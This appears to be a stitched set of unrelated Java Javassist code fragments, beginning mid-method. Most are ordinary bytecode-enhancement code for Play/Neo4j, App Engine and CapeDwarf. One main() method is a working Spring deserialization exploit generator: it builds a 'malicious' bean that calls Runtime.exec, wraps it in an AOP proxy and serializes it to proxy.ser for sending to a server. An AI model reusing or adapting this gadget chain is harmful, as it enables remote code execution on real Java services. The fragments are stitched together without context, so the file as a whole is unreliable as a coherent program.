                      String.format("Marking as replaced [%s]", methodDescription(originalMethod)));
                  transformedMethods.add(methodDescription(originalMethod));
                }

                logger.debug(String.format("Removing method [%s]", method.getName()));
                clazz.removeMethod(originalMethod);
              } catch (NotFoundException e) {
                // Do nothing -- we don't need to remove a method because it doesn't exist
              }

              logger.debug(String.format("Adding method [%s]", method.getName()));
              CtMethod copiedMethod = new CtMethod(method, clazz, null);
              clazz.addMethod(copiedMethod);
            }
          }
        }

        logger.lifecycle(
            LifeCycleEvent.END,
            String.format(
                "Transform - Copying into [%s] from [%s]",
                xformKey, StringUtils.join(xformVals, ",")));
        return clazz.toBytecode();
      } catch (Exception e) {
        throw new RuntimeException("Unable to transform class", e);
      }
    }

    return null;
  }
 protected void transform(CtClass clazz) throws Exception {
   CtMethod method = clazz.getDeclaredMethod("createRawGcsService");
   method.setBody(
       "{return com.google.appengine.tools.cloudstorage.dev.LocalRawGcsServiceFactory.createLocalRawGcsService();}");
 }
  public static void main(String[] arguments) {

    // Get a DefaultListableBeanFactory modified so it has no writeReplace() method
    // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a
    // "attempted duplicate class definition for name" exception
    System.out.println(
        "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");
    Object instrumentedFactory = null;
    ClassPool pool = ClassPool.getDefault();
    try {
      pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
      CtClass instrumentedClass =
          pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
      // Call setSerialVersionUID before modifying a class to maintain serialization compatability.
      SerialVersionUID.setSerialVersionUID(instrumentedClass);
      CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
      // method.insertBefore("{ System.out.println(\"TESTING\"); }");
      method.setName("writeReplaceDisabled");
      Class instrumentedFactoryClass = instrumentedClass.toClass();
      instrumentedFactory = instrumentedFactoryClass.newInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }
    // Modified BeanFactory
    DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;

    // Create malicious bean definition programatically
    System.out.println("[+] Creating malicious bean definition programatically");

    // First we will set up a bean created with a factory method (instead of using the constructor)
    // that will return a java.lang.Runtime
    // Runtime or ProcessBuilder are not serializable so we cannot use them for the
    // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps
    // these objects as the server will instantiate them
    GenericBeanDefinition runtime = new GenericBeanDefinition();
    runtime.setBeanClass(Runtime.class);
    runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static

    // Exploit bean to be registered in the bean factory as the target source
    GenericBeanDefinition payload = new GenericBeanDefinition();
    // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments,
    // and can't do that with the unserializable ConstructorArgumentValues
    payload.setBeanClass(MethodInvokingFactoryBean.class);
    payload.setScope("prototype");
    payload.getPropertyValues().add("targetObject", runtime);
    payload.getPropertyValues().add("targetMethod", "exec");
    payload
        .getPropertyValues()
        .add(
            "arguments",
            Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));

    beanFactory.registerBeanDefinition("exploit", payload);

    // Preparing BeanFactory to be serialized
    System.out.println("[+] Preparing BeanFactory to be serialized");
    System.out.println("[+] Nullifying non-serializable members");
    try {

      Field constructorArgumentValues =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues.setAccessible(true);
      constructorArgumentValues.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition constructorArgumentValues property should be null: "
              + payload.getConstructorArgumentValues());

      Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides.setAccessible(true);
      methodOverrides.set(payload, null);
      System.out.println(
          "[+] payload BeanDefinition methodOverrides property should be null: "
              + payload.getMethodOverrides());

      Field constructorArgumentValues2 =
          AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
      constructorArgumentValues2.setAccessible(true);
      constructorArgumentValues2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition constructorArgumentValues property should be null: "
              + runtime.getConstructorArgumentValues());

      Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
      methodOverrides2.setAccessible(true);
      methodOverrides2.set(runtime, null);
      System.out.println(
          "[+] runtime BeanDefinition methodOverrides property should be null: "
              + runtime.getMethodOverrides());

      Field autowireCandidateResolver =
          DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
      autowireCandidateResolver.setAccessible(true);
      autowireCandidateResolver.set(beanFactory, null);
      System.out.println(
          "[+] BeanFactory autowireCandidateResolver property should be null: "
              + beanFactory.getAutowireCandidateResolver());

    } catch (Exception i) {
      i.printStackTrace();
      System.exit(-1);
    }

    // AbstractBeanFactoryBasedTargetSource
    System.out.println(
        "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
    SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
    targetSource.setTargetBeanName("exploit");
    targetSource.setBeanFactory(beanFactory);

    // JdkDynamicAopProxy (invocationhandler)
    System.out.println(
        "[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
    AdvisedSupport config = new AdvisedSupport();
    config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy
    config.setTargetSource(targetSource);
    DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
    InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);

    // Proxy
    System.out.println(
        "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
    Contact proxy =
        (Contact)
            Proxy.newProxyInstance(
                Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler);

    // System.out.println("[+] Trying exploit locally " + proxy.getName());

    // Now lets serialize the proxy
    System.out.println("[+] Serializating malicious proxy");
    try {
      FileOutputStream fileOut = new FileOutputStream("proxy.ser");
      ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
      outStream.writeObject(proxy);
      outStream.close();
      fileOut.close();
    } catch (IOException i) {
      i.printStackTrace();
    }
    System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());
  }
  @Override
  public void enhanceThisClass(ApplicationClass applicationClass) throws Exception {
    CtClass ctClass = makeClass(applicationClass);
    String entityName = ctClass.getName();
    Logger.debug("Enhance class " + entityName);

    // Only enhance Neo4jModel classes.
    if (!ctClass.subtypeOf(classPool.get("play.modules.neo4j.model.Neo4jModel"))) {
      return;
    }

    // Add a default constructor if needed
    try {
      for (CtConstructor constructor : ctClass.getDeclaredConstructors()) {
        if (constructor.getParameterTypes().length == 0) {
          ctClass.removeConstructor(constructor);
        }
        if (constructor.getParameterTypes().length == 1
            && constructor.getParameterTypes()[0].getClass().isInstance(Node.class)) {
          ctClass.removeConstructor(constructor);
        }
      }
      if (!ctClass.isInterface()) {
        Logger.debug("Adding default constructor");
        CtConstructor defaultConstructor =
            CtNewConstructor.make("public " + ctClass.getSimpleName() + "() { super();}", ctClass);
        ctClass.addConstructor(defaultConstructor);
      }
    } catch (Exception e) {
      Logger.error(e, "Error in PropertiesEnhancer");
      throw new UnexpectedException("Error in PropertiesEnhancer", e);
    }

    // for all field, we add getter / setter
    for (CtField ctField : ctClass.getDeclaredFields()) {
      try {
        // Property name
        String propertyName =
            ctField.getName().substring(0, 1).toUpperCase() + ctField.getName().substring(1);
        String getter = "get" + propertyName;
        String setter = "set" + propertyName;

        Logger.debug("Field " + ctField.getName() + " is a property ?");
        if (isProperty(ctField)) {
          Logger.debug("true");

          // ~~~~~~~~~
          // GETTER
          // ~~~~~~~
          try {
            CtMethod ctMethod = ctClass.getDeclaredMethod(getter);
            if (!ctMethod.getName().equalsIgnoreCase("getShouldBeSave")) {
              ctClass.removeMethod(ctMethod);
              throw new NotFoundException("it's not a true getter !");
            }
          } catch (NotFoundException noGetter) {
            // create getter
            Logger.debug("Adding getter " + getter + " for class " + entityName);
            // @formatter:off
            String code =
                "public "
                    + ctField.getType().getName()
                    + " "
                    + getter
                    + "() {"
                    + "if(this.shouldBeSave == Boolean.FALSE && this.node != null){"
                    + "return (("
                    + ctField.getType().getName()
                    + ") play.modules.neo4j.util.Binder.bindFromNeo4jFormat(this.node.getProperty(\""
                    + ctField.getName()
                    + "\", null),"
                    + ctField.getType().getName()
                    + ".class ));"
                    + "}else{"
                    + "return "
                    + ctField.getName()
                    + ";"
                    + "}"
                    + "}";
            // @formatter:on
            Logger.debug(code);
            CtMethod getMethod = CtMethod.make(code, ctClass);
            ctClass.addMethod(getMethod);
          }

          // ~~~~~~~~~
          // SETTER
          // ~~~~~~~
          try {
            CtMethod ctMethod = ctClass.getDeclaredMethod(setter);
            if (ctMethod.getParameterTypes().length != 1
                || !ctMethod.getParameterTypes()[0].equals(ctField.getType())
                || Modifier.isStatic(ctMethod.getModifiers())
                || hasPlayPropertiesAccessorAnnotation(ctMethod)) {
              if (hasPlayPropertiesAccessorAnnotation(ctMethod)) {
                ctClass.removeMethod(ctMethod);
              }
              throw new NotFoundException("it's not a true setter !");
            }
          } catch (NotFoundException noSetter) {
            // create setter
            Logger.debug("Adding setter " + setter + " for class " + entityName);
            // @formatter:off
            String code =
                "public void "
                    + setter
                    + "("
                    + ctField.getType().getName()
                    + " value) { "
                    + "this."
                    + ctField.getName()
                    + " = value;"
                    + "this.shouldBeSave = Boolean.TRUE;"
                    + "}";
            // formatter:on
            CtMethod setMethod = CtMethod.make(code, ctClass);
            Logger.debug(code);
            ctClass.addMethod(setMethod);
          }
        } else {
          // ~~~~~~~~~
          // GETTER for neo4j relation property
          // ~~~~~~~
          if (hasNeo4jRelationAnnotation(ctField)) {
            // test for related annotation
            Neo4jRelatedTo relatedTo = getRelatedAnnotation(ctField);
            if (relatedTo != null) {
              CtMethod ctMethod = ctClass.getDeclaredMethod(getter);
              ctClass.removeMethod(ctMethod);
              String code;
              if (relatedTo.lazy()) {
                // @formatter:off
                code =
                    "public "
                        + ctField.getType().getName()
                        + " "
                        + getter
                        + "() {"
                        + "if(this."
                        + ctField.getName()
                        + " == null){"
                        + "java.lang.reflect.Field field = this.getClass().getField(\""
                        + ctField.getName()
                        + "\");"
                        + "this."
                        + ctField.getName()
                        + "=play.modules.neo4j.relationship.Neo4jRelationFactory.getModelsFromRelation(\""
                        + relatedTo.value()
                        + "\", \""
                        + relatedTo.direction()
                        + "\", field, this.node);"
                        + "}"
                        + "return "
                        + ctField.getName()
                        + ";"
                        + "}";
                // @formatter:on
              } else {
                // @formatter:off
                code =
                    "public "
                        + ctField.getType().getName()
                        + " "
                        + getter
                        + "() {"
                        + "return "
                        + ctField.getName()
                        + ";"
                        + "}";
                // @formatter:on
              }
              Logger.debug(code);
              CtMethod method = CtMethod.make(code, ctClass);
              ctClass.addMethod(method);
            }
            // test for unique relation annotation
            Neo4jUniqueRelation uniqueRelation = getUniqueRelationAnnotation(ctField);
            if (uniqueRelation != null) {
              CtMethod ctMethod = ctClass.getDeclaredMethod(getter);
              ctClass.removeMethod(ctMethod);
              String code;
              // @formatter:off
              code =
                  "public "
                      + ctField.getType().getName()
                      + " "
                      + getter
                      + "() {"
                      + "return ("
                      + ctField.getType().getName()
                      + ")"
                      + ctField.getName()
                      + ";"
                      + "}";
              // @formatter:on
              Logger.debug(code);
              CtMethod method = CtMethod.make(code, ctClass);
              ctClass.addMethod(method);
            }
          }
        }
      } catch (Exception e) {
        Logger.error(e, "Error in PropertiesEnhancer");
        throw new UnexpectedException("Error in PropertiesEnhancer", e);
      }
    }

    // Adding getByKey() method
    Logger.debug("Adding getByKey() method for class " + entityName);
    // @formatter:off
    String codeGetByKey =
        "public static play.modules.neo4j.model.Neo4jModel getByKey(Long key) throws play.modules.neo4j.exception.Neo4jException {"
            + "return ("
            + entityName
            + ")_getByKey(key, \""
            + entityName
            + "\");"
            + "}";
    // @formatter:on
    Logger.debug(codeGetByKey);
    CtMethod getByKeyMethod = CtMethod.make(codeGetByKey, ctClass);
    ctClass.addMethod(getByKeyMethod);

    // ~~~~~~~~~~~~~~~
    // Adding findAll() method
    // @formatter:off
    String codeFindAll =
        "public static java.util.List findAll() {"
            + "return "
            + entityName
            + "._findAll(\""
            + entityName
            + "\");"
            + "}";
    // @formatter:on
    Logger.debug(codeFindAll);
    CtMethod findAllMethod = CtMethod.make(codeFindAll, ctClass);
    ctClass.addMethod(findAllMethod);

    // ~~~~~~~~~~~~~~~
    // Adding queryIndex() method
    // @formatter:off
    String queryIndex =
        "public static java.util.List queryIndex(String indexname, String query) {"
            + "return "
            + entityName
            + "._queryIndex(indexname, query);"
            + "}";
    // @formatter:on
    Logger.debug(queryIndex);
    CtMethod queryIndexMethod = CtMethod.make(queryIndex, ctClass);
    ctClass.addMethod(queryIndexMethod);

    // Done.
    applicationClass.enhancedByteCode = ctClass.toBytecode();
    ctClass.defrost();
  }
 protected void transform(CtClass clazz) throws Exception {
   final CtMethod method = clazz.getDeclaredMethod("getQuotaService", new CtClass[] {});
   method.setBody(
       toProxy(QuotaService.class, "new org.jboss.capedwarf.quota.CapedwarfQuotaService()"));
 }